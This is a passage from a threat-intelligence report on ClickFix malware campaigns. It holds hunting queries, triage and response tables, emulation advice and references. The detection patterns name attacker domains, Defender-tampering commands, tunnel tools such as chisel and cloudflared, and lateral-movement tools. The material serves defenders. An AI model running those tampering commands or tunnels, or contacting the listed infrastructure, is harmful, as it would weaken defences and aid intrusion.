".zip", "node-v7.10.1")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName,
InitiatingProcessCommandLine, InitiatingProcessParentFileName

// Hunt 2: Potemkin C2 and DGA-like network behavior
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any ("cl.distribovagas.com", "sonra.eutialyson.com", "anus-staylard.xyz",
"resumeacceptable.com")
  or RemoteUrl endswith ".xyz"
  or AdditionalFields has "cpp-httpplib/0.12.1"
  or AdditionalFields has "/api/client_hello"
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Count=count(), Urls=make_set(RemoteUrl,
25), IPs=make_set(RemoteIP, 25) by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where Count >= 1

// Hunt 3: Potemkin persistence and local artifacts
DeviceRegistryEvents
| where Timestamp > ago(30d)
| where RegistryKey has "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" and RegistryValueName =~
"RunSearch"
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessCommandLine
| union (
  DeviceFileEvents
  | where Timestamp > ago(30d)
  | where FolderPath has_any ("\\Microsoft\\RunSearch\\RunSearch.exe", "\\hyper-v.ver", "\\
dll_debug.log", "C:\\ProgramData\\p\\")
  | project Timestamp, DeviceName, ActionType, FolderPath, FileName, InitiatingProcessFileName,
InitiatingProcessCommandLine
)

// Hunt 4: Defender tampering and tunnel tooling after suspected ClickFix execution
DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessCommandLine has_any ("Set-MpPreference", "DisableRealtimeMonitoring", "Add-
MpPreference", "WinDefend", "SecurityHealthService", "wscsvc", "chisel", "cloudflared", "tunnel",
"socks", "WMIExec", "SMBExec")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName,
```


InitiatingProcessCommandLine
<pre> index=endpoint sourcetype=xmlwineventlog EventCode=4688 eval cmd=lower(CommandLine), parent=lower(ParentProcessName), image=lower(NewProcessName) where (like(image, "%\pcalua.exe") AND like(cmd, "%mshta%") AND like(cmd, "%http%")) OR (like(image, "%\mshta.exe") AND (like(cmd, "%http://%") OR like(cmd, "%https://%") OR like(cmd, "%hta%"))) OR (like(image, "%\msiexec.exe") AND like(cmd, "%/qn%") AND (like(parent, "%mshta.exe") OR like(parent, "%powershell.exe") OR like(parent, "%cmd.exe"))) table _time host user ParentProcessName NewProcessName CommandLine </pre>

14.3 Triage Guidance for Hunt Hits

A meaningful hit is a user endpoint showing user-facing application activity followed by trusted Windows binary execution, remote script retrieval, silent MSI install, RunSearch persistence, DGA-style .xyz traffic, or Defender tampering. Escalate immediately if the host also shows credential access, browser process injection, Chisel/cloudflared, WMIExec/SMBExec, or domain-controller authentication.

Benign lookalikes include legitimate IT scripts using msiexec /qn, developers running Node.js, accessibility compatibility tools invoking pcalua, and administrators changing Defender settings. Distinguish benign use through signer, parent process, approved software-management context, change ticket, command destination, and whether actions originate from user-writable paths.

15. Triage and Incident Response

Priority	Response Action	Rationale
Critical	Isolate hosts with ClickFix execution plus payload staging, RunSearch persistence, DGA traffic, or Defender tampering	These signals indicate execution beyond social engineering and possible hands-on-keyboard activity.
Critical	Preserve volatile and endpoint evidence before eradication	In-memory modules, reflective loaders, and operator tools may disappear after reboot or cleanup.
High	Reset credentials for affected users and any accounts used on compromised hosts	RMMProject and delivered stealers target browser credentials, cookies, saved credentials, and local-state keys.
High	Review identity logs for impossible travel, OAuth/session token abuse, mailbox rule changes, and privileged account use	Credential theft and RAT activity can extend beyond endpoint cleanup.
High	Hunt lateral movement paths and domain-controller access	Huntress observed WMIExec/SMBExec and domain-controller reach in the Potemkin case.
Medium	Remove Run keys, payload files, scripts, tunnels, scheduled tasks, and suspicious services	Eradication must cover both loader persistence and operator-installed access.
Medium	Restore Defender/EDR policy baselines and verify endpoint coverage	Attackers attempted Defender tampering; unmonitored endpoints enabled dwell time.
Medium	Block and monitor disclosed infrastructure while adding behavior-based detections	Static IOCs rotate; controls should also catch execution chain and DGA behavior.

Treat a confirmed ClickFix chain as a potential intrusion, not merely a malware cleanup. At minimum, collect process trees, PowerShell logs, registry autoruns, installed MSI records, browser credential-access evidence, proxy/DNS logs, EDR network events, Defender policy changes, and identity sign-in telemetry.

16. Validation and Emulation

Validation completed during this report:

- Retrieved and parsed The Hacker News article text from the original source URL.
- Downloaded Morphisec's BabaDeda Loader PDF and converted it with pdftotext for local review.
- Retrieved and parsed the Huntress Potemkin/RMMProject article and extracted its IOC section.
- Attempted to retrieve the BlueVoyant Lorem Ipsum primary page; the site returned HTTP 403 from the analysis environment, so its details are cited through THN excerpts and search-result summaries.
- No local malware sample was detonated, unpacked, or decompiled by Lost Boys Cyber for this report.

Safe emulation recommendations:

- Use a benign internal web page or training harness to simulate a ClickFix prompt that launches a harmless command, then validate process-chain detections for browser to cmd/powershell/mshta/pcalua.
- Use Atomic Red Team or equivalent benign tests for mshta remote execution, registry Run key creation, Defender setting changes in a lab, and suspicious msixec /qn from script parents.
- Use controlled network test events to validate detection of cpp-httpplib/0.12.1 User-Agent and /api/client_hello-like paths without contacting real malicious infrastructure.
- Do not execute real payloads or contact live DGA infrastructure outside an isolated malware lab with egress controls.

17. Recommendations

Priority	Owner	Action	Rationale
Critical	Security Operations	Deploy detections for pcalua/mshta remote HTA, script-to-msiexec /qn, RunSearch persistence, Potemkin artifacts, and Defender tampering	These detections catch the disclosed chain before or during persistence and post-exploitation.
Critical	Endpoint Engineering	Ensure EDR coverage on all user endpoints, including unmanaged or lightly managed systems	Huntress emphasized the initial unmonitored endpoint gave the operator room to progress.
High	Identity / SOC	Treat confirmed ClickFix infections as credential-compromise incidents and reset scoped credentials	RMMProject and related payloads include browser credential and cookie theft.
High	Network Security	Alert on cpp-httpplib/0.12.1, /api/client_hello, suspicious .xyz DGA probing, Chisel, and Cloudflare tunnel creation from endpoints	Network patterns provide resilience when payload hashes rotate.
High	IT / Endpoint Hardening	Restrict or monitor mshta.exe, pcalua.exe, script hosts, curl, PowerShell, and msiexec execution from user contexts	ClickFix chains depend on trusted local utilities and user-writable execution paths.
Medium	Awareness / Training	Update security training to warn against copying commands from browser, chat, or email prompts into Run,	ClickFix succeeds by looking like a legitimate troubleshooting step.

		PowerShell, or Terminal	
Medium	Vulnerability / App Owners	Monitor compromised WordPress exposure and web properties used for fake-update lures	Lorem Ipsum and similar campaigns used compromised WordPress sites to host lures.
Medium	Threat Intel	Refresh IOCs weekly and pivot from static domains to DGA and behavior patterns	DGA, social profile C2, blockchain resolution, and tunnel use reduce the life of simple blocklists.

18. References and Refresh Notes

- [1] Ravie Lakshmanan, The Hacker News, "ClickFix Campaigns Expand Malware Delivery With New Loaders and Fake Update Lures," 16 June 2026, <https://thehackernews.com/2026/06/clickfix-campaigns-expand-malware.html>
- [2] Shmuel Uzan, Morphisec Threat Labs, "What Is the BabaDeda Loader? Analysis of a New ClickFix Malware Campaign," accessed as PDF from https://engage.morphisec.com/hubfs/2026-PDFs/BabaDedaLoader_ThreatAnalysis.pdf
- [3] Anna Pham and Zach Rogers, Huntress, "Someone's Hands Are on Your Keyboard Then Your Whole Network. Courtesy of ClickFix, Potemkin, RMMProject and EtherRAT," <https://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack>
- [4] BlueVoyant, "Lorem Ipsum Revisited: ClickFix Pivot & Rapid Brigantine," primary page identified at <https://www.bluevoyant.com/blog/orem-ipsum-clickfix-rapid-brigantine>; direct retrieval returned HTTP 403 during this review.
- [5] Microsoft Security Blog, "Think before you Click(Fix): Analyzing the ClickFix social engineering technique," 21 August 2025, <https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/>
- [6] Microsoft Security Blog, "ClickFix campaign uses fake macOS utilities lures to deliver infostealers," 6 May 2026, <https://www.microsoft.com/en-us/security/blog/2026/05/06/clickfix-campaign-uses-fake-macos-utilities-lures-deliver-infostealers/>

Refresh notes: infrastructure and hashes should be refreshed before operational blocking because DGA, compromised-site, social-profile, and blockchain-resolved C2 patterns can change quickly. Detection logic should be reviewed after any new primary reporting from BlueVoyant, Morphisec, Huntress, Microsoft, or vendor telemetry showing additional loaders, signed-installer pivots, or macOS-specific ClickFix variants.